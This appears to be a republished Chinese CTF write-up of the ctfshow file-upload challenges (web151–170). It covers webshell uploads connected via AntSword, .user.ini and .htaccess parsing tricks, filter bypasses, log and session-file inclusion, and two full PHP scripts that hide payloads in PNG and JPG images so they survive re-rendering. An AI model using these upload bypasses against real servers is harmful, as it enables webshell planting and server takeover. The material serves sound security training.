我的编程空间,编程开发者的网络收藏夹
学习永远不晚

ctfshow web入门(文件上传)

短信预约 -IT技能 免费直播动态提醒
省份

北京

  • 北京
  • 上海
  • 天津
  • 重庆
  • 河北
  • 山东
  • 辽宁
  • 黑龙江
  • 吉林
  • 甘肃
  • 青海
  • 河南
  • 江苏
  • 湖北
  • 湖南
  • 江西
  • 浙江
  • 广东
  • 云南
  • 福建
  • 海南
  • 山西
  • 四川
  • 陕西
  • 贵州
  • 安徽
  • 广西
  • 内蒙
  • 西藏
  • 新疆
  • 宁夏
  • 兵团
手机号立即预约

请填写图片验证码后获取短信验证码

看不清楚,换张图片

免费获取短信验证码

ctfshow web入门(文件上传)

web151 (前端限制)

  • 知识点:修改前端限制

上传时,bp收不到,前端是限制了


修改为php,上传一句话,蚁剑连接


web152(后端限制)

  • 知识点:绕过后端对文件类型限制

后端限制为图片,传入图片马,bp修改后缀,
蚁剑连接


web153(.user.ini配置文件绕过)

发现很容易上传如php5,phtml等类型文件,但是不解析.通过插件识别为nginx服务器,尝试上传.user.ini,发现上传成功

upload下有index.php所以.user.ini可以使用

上传.user.ini时修改后缀,指向1.png图片马

正常上传图片马


访问/upload/index.php会直接在文件头部 指向(类似包含1.png)1.png


蚁剑连接http://…/upload/index.php


web154(限制字符)

  • 知识点:绕过限制的字符

与web153一样,但是上传图片马的时候出现错误,试着修改其中的字符,将php改大写即可


web155(短标签绕过)

测试过滤了php

所以只能用短标签

  //short_open_tags=on   等价于  //无限制 <% echo '123';%> //asp_tags=on  php_version < 7   //php_vsesion < 7


web156(过滤)

过滤了 [ ]

{ } 可以替代 [ ]


web157-159(过滤)

过滤了{};,那就直接输出flag算了

``$() 两种命令的功能是相同的,在执行一条命令时,会将``或者$()中的语句当做命令执行一边,再把结果加入到原命令中重新执行。

…/返回上一层 *全部

查看源码得flag


web160(日志包含)

  • 日志文件绕过

过滤了括号 反引号还有一些关键字

先上传.user.ini指向图片, 再上传图片指向日志文件,将一句话写入UA
内容 (log被过滤)
蚁剑连接index.php


web161(检查十六进制文件头)

  • 知识点:getimagesize()

这个函数功能会对目标文件的16进制去进行一个读取,去读取头几个字符串是不是符合图片的要求的


限制了头文件有以下方法

法一:


法二:

法三:
添加png头部信息

89 50 4E 47 0D 0A 1A 0A


上传.user.ini同样添加png头


上传2.png日志包含


web162-163(包含session文件)

  • 知识点:session

省去上传png文件(带有include…sess_cys)步骤
上传 .user.ini 时直接包含sess_cys


上传1.txt 并添加恶意代码 添加cookie
表单攻击+时间竞争


不断发送
此时我们访问/upload/index.php 抓包并爆破请求


web164(二次渲染)

后端进行二次渲染 ,利用 imagecreatefrompng().
png和jpg要利用脚本生成图片马,gif文件只需要将图片下载回来对照,shell写入未改动的区域

png:

<?php$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,           0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,           0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,           0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,           0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,           0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,           0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,           0x66, 0x44, 0x50, 0x33);$img = imagecreatetruecolor(32, 32);for ($y = 0; $y < sizeof($p); $y += 3) {   $r = $p[$y];   $g = $p[$y+1];   $b = $p[$y+2];   $color = imagecolorallocate($img, $r, $g, $b);   imagesetpixel($img, round($y / 3), 0, $color);}imagepng($img,'./1.png');?>



web165(二次渲染)

  • 二次渲染
    jpg:
<?php        $miniPayload = "";    if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {        die('php-gd is not installed');    }    if(!isset($argv[1])) {        die('php jpg_payload.php ');    }    set_error_handler("custom_error_handler");    for($pad = 0; $pad < 1024; $pad++) {        $nullbytePayloadSize = $pad;        $dis = new DataInputStream($argv[1]);        $outStream = file_get_contents($argv[1]);        $extraBytes = 0;        $correctImage = TRUE;        if($dis->readShort() != 0xFFD8) {            die('Incorrect SOI marker');        }        while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {            $marker = $dis->readByte();            $size = $dis->readShort() - 2;            $dis->skip($size);            if($marker === 0xDA) {                $startPos = $dis->seek();                $outStreamTmp =                    substr($outStream, 0, $startPos) .                    $miniPayload .                    str_repeat("\0",$nullbytePayloadSize) .                    substr($outStream, $startPos);                checkImage('_'.$argv[1], $outStreamTmp, TRUE);                if($extraBytes !== 0) {                    while((!$dis->eof())) {                        if($dis->readByte() === 0xFF) {if($dis->readByte !== 0x00) {    break;}                        }                    }                    $stopPos = $dis->seek() - 2;                    $imageStreamSize = $stopPos - $startPos;                    $outStream =                        substr($outStream, 0, $startPos) .                        $miniPayload .                        substr(str_repeat("\0",$nullbytePayloadSize).    substr($outStream, $startPos, $imageStreamSize),0,$nullbytePayloadSize+$imageStreamSize-$extraBytes) .    substr($outStream, $stopPos);                } elseif($correctImage) {                    $outStream = $outStreamTmp;                } else {                    break;                }                if(checkImage('payload_'.$argv[1], $outStream)) {                    die('Success!');                } else {                    break;                }            }        }    }    unlink('payload_'.$argv[1]);    die('Something\'s wrong');    function checkImage($filename, $data, $unlink = FALSE) {        global $correctImage;        file_put_contents($filename, $data);        $correctImage = TRUE;        imagecreatefromjpeg($filename);        if($unlink)            unlink($filename);        return $correctImage;    }    function custom_error_handler($errno, $errstr, $errfile, $errline) {        global $extraBytes, $correctImage;        $correctImage = FALSE;        if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {            if(isset($m[1])) {                $extraBytes = (int)$m[1];            }        }    }    class DataInputStream {        private $binData;        private $order;        private $size;        public function __construct($filename, $order = false, $fromString = false) {            $this->binData = '';            $this->order = $order;            if(!$fromString) {                if(!file_exists($filename) || !is_file($filename))                    die('File not exists ['.$filename.']');                $this->binData = file_get_contents($filename);            } else {                $this->binData = $filename;            }            $this->size = strlen($this->binData);        }        public function seek() {            return ($this->size - strlen($this->binData));        }        public function skip($skip) {            $this->binData = substr($this->binData, $skip);        }        public function readByte() {            if($this->eof()) {                die('End Of File');            }            $byte = substr($this->binData, 0, 1);            $this->binData = substr($this->binData, 1);            return ord($byte);        }        public function readShort() {            if(strlen($this->binData) < 2) {                die('End Of File');            }            $short = substr($this->binData, 0, 2);            $this->binData = substr($this->binData, 2);            if($this->order) {                $short = (ord($short[1]) << 8) + ord($short[0]);            } else {                $short = (ord($short[0]) << 8) + ord($short[1]);            }            return $short;        }        public function eof() {            return !$this->binData||(strlen($this->binData) === 0);        }    }?>

web166(前端限制)

  • 知识点:zip在bp时需要修改格式


上传.zip文件

注意修改Content-Type为application/x-zip-compressed


web167 (.htaccess配置文件)

  • 知识点:.htaccess

.htaccess文件(或者"分布式配置文件"),全称是Hypertext Access(超文本入口)。提供了针对目录改变配置的方法, 即,在一个特定的文档目录中放置一个包含一个或多个指令的文件, 以作用于此目录及其所有子目录。作为用户,所能使用的命令受到限制。管理员可以通过Apache的AllowOverride指令来设置。

将.png后缀的文件解析 成php


上传.png 文件


访问/upload/1.png即可


web168(过滤)

可以上传php文件,但是过滤了关键字eval system

访问一下


web169(日志包含)

前端限制格式,后端又限制很多
所以我们直接配置文件绕过
上传ini 日志包含
在这里插入图片描述
上传所需的php文件 修改UA,蚁剑连接


web170(日志包含)


上传2.php


蚁剑

来源地址:https://blog.csdn.net/qq_53263789/article/details/125878901

免责声明:

① 本站未注明“稿件来源”的信息均来自网络整理。其文字、图片和音视频稿件的所属权归原作者所有。本站收集整理出于非商业性的教育和科研之目的,并不意味着本站赞同其观点或证实其内容的真实性。仅作为临时的测试数据,供内部测试之用。本站并未授权任何人以任何方式主动获取本站任何信息。

② 本站未注明“稿件来源”的临时测试数据将在测试完成后最终做删除处理。有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341

ctfshow web入门(文件上传)

下载Word文档到电脑,方便收藏和打印~

下载Word文档

编程热搜

  • Python 学习之路 - Python
    一、安装Python34Windows在Python官网(https://www.python.org/downloads/)下载安装包并安装。Python的默认安装路径是:C:\Python34配置环境变量:【右键计算机】--》【属性】-
    Python 学习之路 - Python
  • chatgpt的中文全称是什么
    chatgpt的中文全称是生成型预训练变换模型。ChatGPT是什么ChatGPT是美国人工智能研究实验室OpenAI开发的一种全新聊天机器人模型,它能够通过学习和理解人类的语言来进行对话,还能根据聊天的上下文进行互动,并协助人类完成一系列
    chatgpt的中文全称是什么
  • C/C++中extern函数使用详解
  • C/C++可变参数的使用
    可变参数的使用方法远远不止以下几种,不过在C,C++中使用可变参数时要小心,在使用printf()等函数时传入的参数个数一定不能比前面的格式化字符串中的’%’符号个数少,否则会产生访问越界,运气不好的话还会导致程序崩溃
    C/C++可变参数的使用
  • css样式文件该放在哪里
  • php中数组下标必须是连续的吗
  • Python 3 教程
    Python 3 教程 Python 的 3.0 版本,常被称为 Python 3000,或简称 Py3k。相对于 Python 的早期版本,这是一个较大的升级。为了不带入过多的累赘,Python 3.0 在设计的时候没有考虑向下兼容。 Python
    Python 3 教程
  • Python pip包管理
    一、前言    在Python中, 安装第三方模块是通过 setuptools 这个工具完成的。 Python有两个封装了 setuptools的包管理工具: easy_install  和  pip , 目前官方推荐使用 pip。    
    Python pip包管理
  • ubuntu如何重新编译内核
  • 改善Java代码之慎用java动态编译

目录